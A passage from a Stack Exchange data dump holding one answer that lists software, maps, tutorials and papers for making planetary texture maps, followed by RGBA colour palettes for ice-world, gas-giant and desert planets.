ContentLicense="CC BY-SA 3.0" />
  <row Id="31425" PostTypeId="2" ParentId="31424" CreationDate="2015-05-24T23:43:50.580" Score="51" Body="&lt;h1&gt;Custom Texture Map Generators&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Software to help generate planetary texture maps.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wwwtyro.github.io/procedural.js/planet1/&quot; rel=&quot;noreferrer&quot;&gt;Rye Terrell's texture map generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://topps.diku.dk/torbenm/maps.msp&quot; rel=&quot;noreferrer&quot;&gt;Planet generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.guruware.at/main/terraNoise/index.html&quot; rel=&quot;noreferrer&quot;&gt;TerraNoise&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetmaker.wthr.us/&quot; rel=&quot;noreferrer&quot;&gt;PlanetMaker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://donjon.bin.sh/scifi/world/&quot; rel=&quot;noreferrer&quot;&gt;Sci-Fi World Generator&lt;/a&gt; (Map Palette option has a land mask)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://experilous.com/1/planet-generator/2015-04-07/version-2&quot; rel=&quot;noreferrer&quot;&gt;Experilous Planet Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/questions/35724/how-can-i-easily-create-cloud-texture-maps&quot;&gt;Cloud Maps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bottlenose.net/share/fracplanet/&quot; rel=&quot;noreferrer&quot;&gt;Fracplanet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.firedrake.org/terraform/&quot; rel=&quot;noreferrer&quot;&gt;Terraform&lt;/a&gt; (X11)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Java&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://terraj.sourceforge.net/renders.html&quot; rel=&quot;noreferrer&quot;&gt;TerraJ&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/planetgenesis/&quot; rel=&quot;noreferrer&quot;&gt;Planet Genesis&lt;/a&gt; (&lt;a href=&quot;http://planetgenesis.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;website&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Unavailable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Software that is offline, defunct, unreleased, or otherwise unavailable but still potentially useful.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lysator.liu.se/~johol/fwmg/fwmg.html&quot; rel=&quot;noreferrer&quot;&gt;Fractal Worldmap Generator&lt;/a&gt; (defunct)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phl.upr.edu/projects/ser&quot; rel=&quot;noreferrer&quot;&gt;Scientific Exoplanets Renderer&lt;/a&gt; (unreleased)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Source Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Links to uncompiled software.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.diku.dk/~torbenm/Planet/&quot; rel=&quot;noreferrer&quot;&gt;Planet generator&lt;/a&gt; (&lt;a href=&quot;https://github.com/SakyaStelios/TorbenMaps&quot; rel=&quot;noreferrer&quot;&gt;mirror 2&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jpbetz/planet-generator&quot; rel=&quot;noreferrer&quot;&gt;Planet generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oocities.org/area51/6902/t_torben.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.oocities.org/area51/6902/t_torben.html&lt;/a&gt; (Java version of Torben's code)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/unconed/NFSpace&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/unconed/NFSpace&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/fluffyfreak/GLSLPlanet&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/fluffyfreak/GLSLPlanet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ldo/fracplanet&quot; rel=&quot;noreferrer&quot;&gt;Fracplanet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lysator.liu.se/~johol/fwmg/source/worldgen.c&quot; rel=&quot;noreferrer&quot;&gt;Fractal Worldmap Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Free Maps&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Maps of various resolutions (often without specular, cloud, or normal maps).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freebitmaps.blogspot.ca/&quot; rel=&quot;noreferrer&quot;&gt;Extraterrestrial Planetary Surface Texture's for Imaging Professionals&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://flatplanet.sourceforge.net/maps/alien.html&quot; rel=&quot;noreferrer&quot;&gt;Flatplanet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hameed.deviantart.com/art/Planet-texture-maps-01-116701701&quot; rel=&quot;noreferrer&quot;&gt;Planet Texture Maps 01&lt;/a&gt; (by Hameed)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pixshark.com/planet-texture-map.htm&quot; rel=&quot;noreferrer&quot;&gt;Pix For Planet Texture Maps&lt;/a&gt; (various, license unknown)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://deeptimemaps.com/map-lists/&quot; rel=&quot;noreferrer&quot;&gt;Deep Time Maps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sites.google.com/site/mapsandsuch/maps-of-fictional-worlds&quot; rel=&quot;noreferrer&quot;&gt;Maps of Fictional Worlds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Solar System&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nasa3d.arc.nasa.gov/images&quot; rel=&quot;noreferrer&quot;&gt;NASA Images and Textures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetpixelemporium.com/planets.html&quot; rel=&quot;noreferrer&quot;&gt;Planetary Pixel Emporium&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jpl.nasa.gov/spaceimages/details.php?id=PIA18439&quot; rel=&quot;noreferrer&quot;&gt;JPL/Cassini Saturn's Moons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Tutorials&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Comprehensive web pages that describe various ways to craft realistic texture maps.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://acko.net/blog/making-worlds-introduction/&quot; rel=&quot;noreferrer&quot;&gt;Making Worlds&lt;/a&gt; (C++)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://xnameetingpoint.weebly.com/planets1.html&quot; rel=&quot;noreferrer&quot;&gt;http://xnameetingpoint.weebly.com/planets1.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://libnoise.sourceforge.net/tutorials/tutorial8.html&quot; rel=&quot;noreferrer&quot;&gt;libnoise&lt;/a&gt; (how to use the API)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://astrographer.wordpress.com/2013/02/06/using-planet-for-16-bit-planetary-maps/&quot; rel=&quot;noreferrer&quot;&gt;Using &quot;Planet&quot; for 16-bit maps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://graphicdesign.stackexchange.com/a/128396/4902&quot;&gt;Orthographic projection of 2D SVG texture map onto 3D SVG sphere&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;GIMP&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=KT4z8J9A87o&quot; rel=&quot;noreferrer&quot;&gt;Creating Normal Maps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jesterraiin.dropmark.com/170117/3639588&quot; rel=&quot;noreferrer&quot;&gt;GIMP Planet Making&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Photoshop&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thegreystudios.com/blog/?p=93&quot; rel=&quot;noreferrer&quot;&gt;Create Planets in Photoshop&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Binaries&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Binaries that run under Windows and Wine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://orbithangar.com/searchid.php?ID=2542&quot; rel=&quot;noreferrer&quot;&gt;Planet Editor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fracterra.com/wilbur.html&quot; rel=&quot;noreferrer&quot;&gt;Wilbur&lt;/a&gt; (run &lt;code&gt;winetricks vcrun2010&lt;/code&gt; to install missing DLLs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Related&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Related information about planetary texture maps.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GEVutbSqBI0&amp;amp;t=445&quot; rel=&quot;noreferrer&quot;&gt;Rules Can Be Beautiful&lt;/a&gt; (TEDx Talk, jump to 7m 30s)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/a/5141/15700&quot;&gt;Procedural Planets, Heightmaps and Textures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Research, Whitepapers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.andrewwillmott.com/tech-notes&quot; rel=&quot;noreferrer&quot;&gt;Height Maps, Cube Maps, etc.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://curis.ku.dk/ws/files/17117759/planetPSI.pdf&quot; rel=&quot;noreferrer&quot;&gt;Planet Map Generation by Tetrahedral Subdivision&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgg.mff.cuni.cz/~kahoun/files/kahoun_martin_bachelor_thesis.pdf&quot; rel=&quot;noreferrer&quot;&gt;Procedural generation and realtime rendering of planetary bodies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://csc.lsu.edu/~kooima/pdfs/Kooima-Dissertation.pdf&quot; rel=&quot;noreferrer&quot;&gt;Planetary Scale Terrain Composition&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Palettes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Cartography palettes for planetary colours.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.geos.ed.ac.uk/it/howto/GMT/CPT/palettes.html&quot; rel=&quot;noreferrer&quot;&gt;Standard Color Palettes for Relief Maps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://soliton.vm.bytemark.co.uk/pub/cpt-city/&quot; rel=&quot;noreferrer&quot;&gt;Archive of colour gradients&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://mycarta.wordpress.com/2012/12/06/the-rainbow-is-deadlong-live-the-rainbow-part-5-cie-lab-linear-l-rainbow/&quot; rel=&quot;noreferrer&quot;&gt;Long Live the Rainbow&lt;/a&gt;&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TIxty.png&quot; alt=&quot;Rainbow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://whiteboxgeospatial.wordpress.com/tag/hillshading/&quot; rel=&quot;noreferrer&quot;&gt;Creating beautiful relief models&lt;/a&gt;&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dQYmp.png&quot; alt=&quot;Hillside Relief&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://gis.stackexchange.com/questions/25099/what-is-the-best-colour-ramp-to-use-for-elevation/109969#109969&quot;&gt;Best Colour for Elevation&lt;/a&gt; (no snow)&lt;/em&gt;&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/O1QHW.png&quot; alt=&quot;Elevation - No Snow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://gis.stackexchange.com/questions/25099/what-is-the-best-colour-ramp-to-use-for-elevation/109969#109969&quot;&gt;Best Colour for Elevation&lt;/a&gt; (with snow)&lt;/em&gt;&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MeC2d.png&quot; alt=&quot;Elevation - Snow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://mappingcenter.esri.com/index.cfm?fa=arcgisResources.gateway&quot; rel=&quot;noreferrer&quot;&gt;ESRI Mapping Center&lt;/a&gt;&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/in09D.png&quot; alt=&quot;Bathymetry and Elevation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FfXr.png&quot; alt=&quot;ESRI Hyposemetry Color Ramps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Red, Blue, Green&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Palettes given as red, green, blue values.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Snowball colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (1.00, 1.00, 1.00, 0.50)&#xA;  colorShelf     (0.95, 0.95, 0.95, 0.50)&#xA;  colorBeach     (0.80, 0.80, 0.80, 0.75)&#xA;  colorDesert    (0.85, 0.85, 0.85, 1.00)&#xA;  colorLowland   (0.87, 0.87, 0.87, 1.00)&#xA;  colorUpland    (0.93, 0.93, 0.93, 1.00)&#xA;  colorRock      (1.00, 1.00, 1.00, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;White-brown colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.56, 0.47, 0.42, 0.20)&#xA;  colorDesert    (0.70, 0.70, 0.70, 0.50)&#xA;  colorLowland   (0.70, 0.70, 0.70, 0.80)&#xA;  colorUpland    (0.65, 0.65, 0.65, 1.00)&#xA;  colorRock      (0.60, 0.60, 0.60, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Blue ice&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.65, 0.86, 0.88, 0.20)&#xA;  colorDesert    (0.59, 0.76, 0.80, 0.50)&#xA;  colorLowland   (0.93, 0.95, 0.95, 0.80)&#xA;  colorUpland    (0.90, 0.98, 0.98, 1.00)&#xA;  colorRock      (0.60, 0.60, 0.60, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Purple colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.82, 0.77, 0.81, 0.20)&#xA;  colorDesert    (0.64, 0.52, 0.56, 0.50)&#xA;  colorLowland   (0.53, 0.41, 0.44, 0.80)&#xA;  colorUpland    (0.56, 0.41, 0.45, 1.00)&#xA;  colorRock      (0.60, 0.60, 0.60, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Orange impurities&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.98, 0.98, 0.96, 1.00)&#xA;  colorDesert    (0.73, 0.35, 0.14, 0.50)&#xA;  colorLowland   (0.82, 0.37, 0.17, 0.80)&#xA;  colorUpland    (0.98, 0.98, 0.96, 1.00)&#xA;  colorRock      (0.60, 0.60, 0.60, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Pardo&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.78, 0.75, 0.64, 1.00)&#xA;  colorDesert    (0.51, 0.44, 0.34, 0.50)&#xA;  colorLowland   (0.63, 0.58, 0.45, 0.80)&#xA;  colorUpland    (0.91, 0.90, 0.75, 1.00)&#xA;  colorRock      (0.39, 0.39, 0.23, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Ganymede 2&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.77, 0.70, 0.64, 1.00)&#xA;  colorDesert    (0.82, 0.75, 0.69, 0.50)&#xA;  colorLowland   (0.73, 0.70, 0.64, 0.80)&#xA;  colorUpland    (0.69, 0.65, 0.61, 1.00)&#xA;  colorRock      (0.53, 0.43, 0.37, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Brown-grey colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;IceWorld&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.25, 0.22, 0.00)&#xA;  colorShelf     (0.37, 0.31, 0.28, 0.00)&#xA;  colorBeach     (0.60, 0.56, 0.54, 1.00)&#xA;  colorDesert    (0.49, 0.36, 0.25, 0.50)&#xA;  colorLowland   (0.75, 0.69, 0.66, 0.80)&#xA;  colorUpland    (0.76, 0.74, 0.70, 1.00)&#xA;  colorRock      (0.25, 0.21, 0.15, 1.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Blue-grey&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.28, 0.26, 0.25, 1.00)&#xA;  colorShelf     (0.30, 0.28, 0.27, 1.00)&#xA;  colorBeach     (0.01, 0.01, 0.03, 1.00)&#xA;  colorDesert    (0.22, 0.30, 0.41, 1.00)&#xA;  colorLowland   (0.69, 0.61, 0.53, 1.00)&#xA;  colorUpland    (0.30, 0.29, 0.27, 1.00)&#xA;  colorRock      (0.41, 0.37, 0.36, 1.00)&#xA;  colorSnow      (0.61, 0.59, 0.70, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Light colour&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.28, 0.26, 0.25, 1.00)&#xA;  colorShelf     (0.30, 0.28, 0.27, 1.00)&#xA;  colorBeach     (0.79, 0.75, 0.72, 1.00)&#xA;  colorDesert    (0.75, 0.73, 0.72, 1.00)&#xA;  colorLowland   (0.68, 0.67, 0.64, 1.00)&#xA;  colorUpland    (0.57, 0.59, 0.60, 1.00)&#xA;  colorRock      (0.55, 0.55, 0.56, 1.00)&#xA;  colorSnow      (0.69, 0.66, 0.62, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Red-brown-grey colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.28, 0.26, 0.25, 1.00)&#xA;  colorShelf     (0.30, 0.28, 0.27, 1.00)&#xA;  colorBeach     (0.08, 0.04, 0.04, 1.00)&#xA;  colorDesert    (0.90, 0.42, 0.25, 1.00)&#xA;  colorLowland   (0.62, 0.11, 0.10, 1.00)&#xA;  colorUpland    (0.90, 0.42, 0.25, 1.00)&#xA;  colorRock      (0.34, 0.16, 0.09, 1.00)&#xA;  colorSnow      (0.69, 0.66, 0.62, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Red-black-grey colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.28, 0.26, 0.25, 1.00)&#xA;  colorShelf     (0.30, 0.28, 0.27, 1.00)&#xA;  colorBeach     (0.08, 0.04, 0.04, 1.00)&#xA;  colorDesert    (0.08, 0.04, 0.04, 1.00)&#xA;  colorLowland   (0.62, 0.11, 0.10, 1.00)&#xA;  colorUpland    (0.08, 0.04, 0.04, 1.00)&#xA;  colorRock      (0.34, 0.16, 0.09, 1.00)&#xA;  colorSnow      (0.69, 0.66, 0.62, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Light brown colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.84, 0.73, 0.57, 1.00)&#xA;  colorShelf     (0.85, 0.75, 0.60, 1.00)&#xA;  colorBeach     (0.34, 0.29, 0.20, 1.00)&#xA;  colorDesert    (0.46, 0.38, 0.27, 1.00)&#xA;  colorLowland   (0.56, 0.47, 0.32, 1.00)&#xA;  colorUpland    (0.58, 0.50, 0.36, 1.00)&#xA;  colorRock      (0.73, 0.63, 0.48, 1.00)&#xA;  colorSnow      (0.69, 0.66, 0.62, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Grey colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.81, 0.81, 0.81, 1.00)&#xA;  colorShelf     (0.63, 0.65, 0.65, 1.00)&#xA;  colorBeach     (0.58, 0.56, 0.58, 1.00)&#xA;  colorDesert    (0.61, 0.61, 0.63, 1.00)&#xA;  colorLowland   (0.72, 0.72, 0.72, 1.00)&#xA;  colorUpland    (0.78, 0.78, 0.78, 1.00)&#xA;  colorRock      (0.54, 0.54, 0.56, 1.00)&#xA;  colorSnow      (0.69, 0.66, 0.62, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Dark grey colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.30, 0.30, 1.00)&#xA;  colorShelf     (0.30, 0.30, 0.30, 1.00)&#xA;  colorBeach     (0.25, 0.25, 0.25, 1.00)&#xA;  colorDesert    (0.25, 0.25, 0.25, 1.00)&#xA;  colorLowland   (0.30, 0.30, 0.30, 1.00)&#xA;  colorUpland    (0.80, 0.80, 0.80, 1.00)&#xA;  colorRock      (0.24, 0.24, 0.26, 1.00)&#xA;  colorSnow      (0.30, 0.30, 0.30, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Dark grey with more white clouds&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;GasGiant&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.30, 0.30, 0.30, 1.00)&#xA;  colorShelf     (0.80, 0.80, 0.80, 1.00)&#xA;  colorBeach     (0.25, 0.25, 0.25, 1.00)&#xA;  colorDesert    (0.25, 0.25, 0.25, 1.00)&#xA;  colorLowland   (0.30, 0.30, 0.30, 1.00)&#xA;  colorUpland    (0.80, 0.80, 0.80, 1.00)&#xA;  colorRock      (0.24, 0.24, 0.26, 1.00)&#xA;  colorSnow      (0.30, 0.30, 0.30, 1.00)&#xA;}&#xA;Deserts:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Olivine mountains&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.86, 0.70, 0.50, 0.00)&#xA;  colorDesert    (0.75, 0.59, 0.42, 0.00)&#xA;  colorLowland   (0.63, 0.48, 0.35, 0.00)&#xA;  colorUpland    (0.38, 0.30, 0.20, 0.00)&#xA;  colorRock      (0.09, 0.12, 0.07, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Red desert&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.81, 0.45, 0.32, 0.00)&#xA;  colorDesert    (0.61, 0.31, 0.21, 0.00)&#xA;  colorLowland   (0.76, 0.45, 0.32, 0.00)&#xA;  colorUpland    (0.96, 0.57, 0.39, 0.00)&#xA;  colorRock      (0.42, 0.24, 0.16, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Cream and red 